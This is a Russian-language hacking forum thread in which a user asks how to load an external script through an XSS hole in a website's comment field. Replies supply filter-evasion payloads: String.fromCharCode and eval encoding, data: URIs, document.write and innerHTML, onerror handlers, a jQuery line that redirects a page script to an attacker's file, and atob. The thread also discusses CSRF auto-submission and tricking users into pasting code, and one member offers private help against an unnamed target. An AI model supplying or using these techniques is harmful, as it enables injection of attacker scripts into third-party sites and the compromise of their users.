PDA

Просмотр полной версии : Подгрузка js через XSS


bazaWT
25.08.2016, 10:17
Привет всем, тестирую один сайт, в поле коментариев есть xss , нужно сделать подгрузку скрипта но такая конструкция фильтруется.,




. Как можно еще подгрузить скрипт ? Алерт выскакивает при


URL-redirect vuln == XSS ! Location:data:text/html,

и

new XMLHttpRequest().open("GET", "data:text/html,", false); #firefox #datauri

pas9x
25.08.2016, 11:23
↑ (https://antichat.live/posts/3984596/)
Как можно еще подгрузить скрипт ?


Да как угодно. Закодируй любой скрипт в коды символов:


eval(String.fromCharCode(11,22,33))

Кодировалка:



function encode() {
var input = document.getElementById('input');
var output = document.getElementById('output');
var strIn = input.value;
var codes = [];
for (var j=0; j

alert('lolz');

bazaWT
25.08.2016, 11:59
↑ (https://antichat.live/posts/3984616/)
Да как угодно. Закодируй любой скрипт в коды символов:

eval(String.fromCharCode(11,22,33))

Кодировалка:


function encode() {
var input = document.getElementById('input');
var output = document.getElementById('output');
var strIn = input.value;
var codes = [];
for (var j=0; j

alert('lolz');




Спасибо за совет . Но теперь другая проблема, алерт срабатывает когда вставляеш код скрипта в поле ( отправка режется фильтром) . Тоесть юзер должен сам скопировать код в поле коментариев , что не очень хорошо. Такой баг был в ВК недавно https://xakep.ru/2015/10/29/vk-emoji-bug/ . Я подумал возможно ли это обойти используя CSRF. Например вставить на своем сайте код формы коментариев с автоотправкой . Но не сработало. Кроме соц инжинерии вариантов нет ?

pas9x
25.08.2016, 17:00
↑ (https://antichat.live/posts/3984638/)
Но не сработало. Кроме соц инжинерии вариантов нет ?


Вариантов полно. Тебе тут уже никто не скажет что конкретно надо делать. Надо просто брать и смотреть сайт, проверять на что реагируют фильтры и обходить их. Если яваскрипт там впринципе выполняется но как-то криво режется, то с большой степенью уверенности можно предположить, что фильтры обойти возможно. Надо просто хорошо уметь фронтенд-разработку.

SooLFaa
27.08.2016, 04:36
Таргет в лс кинь, помогу(здесь потом напишу решение).

bazaWT
30.08.2016, 12:13
Помогите разобратся , не могу понять как подгрузить js если нету тегов
@import'javascript:alert("XSS")';
[/CODE]
Тоесть как раскрутить xss если использование невозможно, во всех мануалах пишут примеры с алертом в тегах , , нигде нет как подгрузить js в таких XSS

faza02
30.08.2016, 12:37
↑ (https://antichat.live/posts/3986024/)
Помогите разобратся , не могу понять как подгрузить js если нету тегов
@import'javascript:alert("XSS")';
[/CODE]
Тоесть как раскрутить xss если использование невозможно, во всех мануалах пишут примеры с алертом в тегах , , нигде нет как подгрузить js в таких XSS


document.write, innerHTML

bazaWT
30.08.2016, 13:11
↑ (https://antichat.live/posts/3986030/)
document.write, innerHTML




тоесть как то так ?
">document.write("

faza02
30.08.2016, 13:38
↑ (https://antichat.live/posts/3986041/)

тоесть как то так ?
">document.write("



ну только через события, а не style

bazaWT
30.08.2016, 13:41
↑ (https://antichat.live/posts/3986044/)
ну только через события, а не style


Можете набросать пример, что бы не было глупых вопросов, ?

faza02
30.08.2016, 13:42

bazaWT
30.08.2016, 15:14
↑ (https://antichat.live/posts/3986047/)



Спасибо. Тоесть получается такой код


) />

Но если фильтр режет , то в таком коде он тоже его отфильтрует. А если закодировать и фильтр пропустит код как не опасный , то такой же закодироавный код должен работать и сам по себе . Тоесть остальные теги и события по сути не нужны будут . Так или я не понимаю что-то ?

SooLFaa
30.08.2016, 15:34
↑ (https://antichat.live/posts/3986076/)
Спасибо. Тоесть получается такой код

) />

Но если фильтр режет , то в таком коде он тоже его отфильтрует. А если закодировать и фильтр пропустит код как не опасный , то такой же закодироавный код должен работать и сам по себе . Тоесть остальные теги и события по сути не нужны будут . Так или я не понимаю что-то ?


Ты в конструкцию onerror можешь вставить хоть целую библиотеку. Не обязтаельно туда файл подгружать. То примерно так onerror="var i = 'Hellow world'; alert(i); ..... (тонна комманд)....", но если подгружены бибилотеки вроде JQuery то все еще проще $('script').attr('src', 'Меняешь путь на свой') - таким образом ты подгрузишь свой JS ВМЕСТО какого то на странице.

faza02
30.08.2016, 18:18
atob